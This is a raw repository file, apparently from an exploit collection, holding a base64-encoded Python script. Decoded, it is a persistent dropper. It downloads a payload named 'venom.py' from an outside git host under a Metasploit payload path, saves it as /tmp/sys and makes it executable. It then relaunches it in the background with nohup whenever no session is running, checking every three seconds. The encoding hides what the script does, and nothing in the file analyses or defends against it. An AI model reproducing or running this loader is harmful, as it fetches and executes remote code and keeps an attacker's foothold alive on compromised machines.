wSploitHub/raw/python/prepy
2025-01-30 18:43:40 +00:00

55 lines
4.0 KiB
Plaintext

aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0aW1lCgojIFVSTCB1bnR1ayBtZW5n
dW5kdWggdmVub20ucHkKcGF5bG9hZF91cmwgPSAnaHR0cHM6Ly9naXQud2FyY2V1cHJvamVjdC5v
cmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL3BheWxvYWQvbXNmL3B5dGhvbi92ZW5v
bS5weScKCiMgRGlyZWt0b3JpIHR1anVhbiB1bnR1ayBtZW55aW1wYW4gcGF5bG9hZApwYXlsb2Fk
X3BhdGggPSAnL3RtcC9zeXMnCgojIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBk
YW4gbWVtZXJpa3NhIGV4aXQgY29kZQpkZWYgcnVuX2NvbW1hbmQoKToKICAgICMgUGVyaWtzYSBh
cGFrYWggZmlsZSB2ZW5vbS5weSBhZGEgZGkgbG9rYXNpIHR1anVhbgogICAgaWYgbm90IG9zLnBh
dGguZXhpc3RzKHBheWxvYWRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsqXSBQYXlsb2FkIHRpZGFr
IGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uIikKICAgICAgICBkb3dubG9hZF9wYXlsb2FkKCkKICAg
ICAgICBvcy5jaG1vZChwYXlsb2FkX3BhdGgsIDBvNzU1KSAgIyBCZXJpIGl6aW4gZWtzZWt1c2kK
CiAgICAjIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHZlbm9tLnB5CiAgICBjb21tYW5kID0g
ZidweXRob24zIHtwYXlsb2FkX3BhdGh9JwogICAgcHJvY2VzcyA9IHN1YnByb2Nlc3MuUG9wZW4o
Y29tbWFuZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnBy
b2Nlc3MuUElQRSkKICAgIG91dHB1dCwgc3RkZXJyID0gcHJvY2Vzcy5jb21tdW5pY2F0ZSgpCiAg
ICBleGl0X2NvZGUgPSBwcm9jZXNzLnJldHVybmNvZGUKCiAgICBwcmludChmIkNvbW1hbmQgZXhl
Y3V0ZWQ6IHtjb21tYW5kfSIpCiAgICBwcmludChmIkV4aXQgY29kZToge2V4aXRfY29kZX0iKQoK
ICAgICMgSmlrYSBleGl0IGNvZGUgbm9uLXplcm8sIGNlayBhcGFrYWggc2Vzc2lvbiBha3RpZgog
ICAgaWYgZXhpdF9jb2RlICE9IDA6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgbm9uLXpl
cm8gZGV0ZWN0ZWQuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICBpc19zaGVs
bF9hY3RpdmUgPSBGYWxzZQogICAgICAgIHRyeToKICAgICAgICAgICAgIyBQZXJpa3NhIGFwYWth
aCB2ZW5vbS5weSBzdWRhaCBiZXJqYWxhbgogICAgICAgICAgICBzaGVsbF9vdXRwdXQgPSBzdWJw
cm9jZXNzLmNoZWNrX291dHB1dCgKICAgICAgICAgICAgICAgIGYicHMgYXV4IHwgZ3JlcCAncHl0
aG9uMyB7cGF5bG9hZF9wYXRofScgfCBncmVwIC12IGdyZXAiLCBzaGVsbD1UcnVlCiAgICAgICAg
ICAgICkKICAgICAgICAgICAgaWYgc2hlbGxfb3V0cHV0OgogICAgICAgICAgICAgICAgcHJpbnQo
IlsqXSBBY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU2tpcHBpbmcgcGF5bG9hZCBleGVjdXRpb24u
IikKICAgICAgICAgICAgICAgIGlzX3NoZWxsX2FjdGl2ZSA9IFRydWUKICAgICAgICBleGNlcHQg
c3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgICMgSmlrYSBwcm9zZXMg
dGlkYWsgZGl0ZW11a2FuCiAgICAgICAgICAgIHBhc3MKCiAgICAgICAgIyBKaWthIHRpZGFrIGFk
YSBzZXNzaW9uIGFrdGlmLCBqYWxhbmthbiBwYXlsb2FkCiAgICAgICAgaWYgbm90IGlzX3NoZWxs
X2FjdGl2ZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl
ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJu
b2h1cCBweXRob24zIHtwYXlsb2FkX3BhdGh9ID4gL2Rldi9udWxsIDI+JjEgJiIsIHNoZWxsPVRy
dWUpCiAgICBlbHNlOgogICAgICAgIHByaW50KCJbKl0gRXhpdCBjb2RlIHplcm8uIE5vIHBheWxv
YWQgZXhlY3V0ZWQuIikKCiMgRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCB2ZW5vbS5weSBqaWthIHRp
ZGFrIGRpdGVtdWthbgpkZWYgZG93bmxvYWRfcGF5bG9hZCgpOgogICAgIyBDZWsga2V0ZXJzZWRp
YWFuIHdnZXQKICAgIHdnZXRfYXZhaWxhYmxlID0gc3VicHJvY2Vzcy5ydW4oJ3doaWNoIHdnZXQn
LCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5Q
SVBFKQogICAgIyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgIGN1cmxfYXZhaWxhYmxlID0gc3Vi
cHJvY2Vzcy5ydW4oJ3doaWNoIGN1cmwnLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5Q
SVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQoKICAgIGlmIHdnZXRfYXZhaWxhYmxlLnN0ZG91
dC5zdHJpcCgpOgogICAgICAgIHByaW50KCJbKl0gd2dldCB0ZXJzZWRpYS4gTWVuZ3VuZHVoIHZl
bm9tLnB5Li4uIikKICAgICAgICBvcy5zeXN0ZW0oZiJ3Z2V0IHtwYXlsb2FkX3VybH0gLU8ge3Bh
eWxvYWRfcGF0aH0iKQogICAgZWxpZiBjdXJsX2F2YWlsYWJsZS5zdGRvdXQuc3RyaXAoKToKICAg
ICAgICBwcmludCgiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB2ZW5vbS5weS4uLiIpCiAg
ICAgICAgb3Muc3lzdGVtKGYiY3VybCAtbyB7cGF5bG9hZF9wYXRofSB7cGF5bG9hZF91cmx9IikK
ICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlshXSBUaWRhayBhZGEgd2dldCBhdGF1IGN1cmwgdGVy
c2VkaWEuIFBhc3Rpa2FuIHNhbGFoIHNhdHUgdGVycGFzYW5nLiIpCgojIEZ1bmdzaSB1bnR1ayBt
ZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZGVmIHJ1bl9wZXJzaXN0ZW50
bHkoKToKICAgIHdoaWxlIFRydWU6CiAgICAgICAgcnVuX2NvbW1hbmQoKSAgIyBKYWxhbmthbiBw
ZXJpbnRhaAogICAgICAgIHRpbWUuc2xlZXAoMykgICMgVHVuZ2d1IHNlbGFtYSAzIGRldGlrIHNl
YmVsdW0gbWVuY29iYSBsYWdpCgojIE1lbWJ1YXQgZGlyZWt0b3JpIHR1anVhbiBqaWthIGJlbHVt
IGFkYQppZiBub3Qgb3MucGF0aC5leGlzdHMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkp
OgogICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkpCgojIEphbGFu
a2FuIGZ1bmdzaSB1dGFtYQpydW5fcGVyc2lzdGVudGx5KCkK